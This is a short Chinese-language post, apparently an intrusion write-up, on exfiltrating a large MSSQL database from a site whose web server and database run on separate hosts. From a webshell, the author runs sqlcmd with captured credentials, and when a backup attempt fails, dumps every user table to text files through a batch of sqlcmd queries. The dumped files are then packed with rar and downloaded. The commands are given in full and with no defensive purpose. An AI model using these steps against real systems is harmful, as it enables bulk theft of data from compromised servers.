sqlcmd脱mssql数据库-大型库很有效-站库分离

asp+mssql的环境,网站数据库分离
尝试ssql.asp 虽然也行,但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句,就得分多次查询,但数据有几十万,这样执行也慢
 
发现命令行下有sqlcmd这个工具,可远程执行sql命令,尝试远程备份数据库,执行命令如下
      
  1. sqlcmd - U cms - P qwe123 !@#   - S 192.168 . 10.10   - Q "backup database xxx to disk='c:\\temp\\xxx.bak'"
但是失败,后分析了下该cms账号为public权限,没有备份权限,于是换一种思路,分别将库里的所有表给备份出来
 
首先获取该库下的所有用户表名
      
  1. select name from cms . dbo . sysobjects where xtype = 'U'
然后做成一个批处理
        
  1. sqlcmd - U cms - P qwe123 !@#   - S 192.168 . 10.10   - Q "select * from table1" >> c : \\temp\\table1 . txt
  2. sqlcmd - U cms - P qwe123 !@#   - S 192.168 . 10.10   - Q "select * from table2" >> c : \\temp\\table2 . txt
  3. sqlcmd - U cms - P qwe123 !@#   - S 192.168 . 10.10   - Q "select * from table3" >> c : \\temp\\table3 . txt
  4. sqlcmd - U cms - P qwe123 !@#   - S 192.168 . 10.10   - Q "select * from table4" >> c : \\temp\\table4 . txt
  5. .......
这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 ,迅雷下载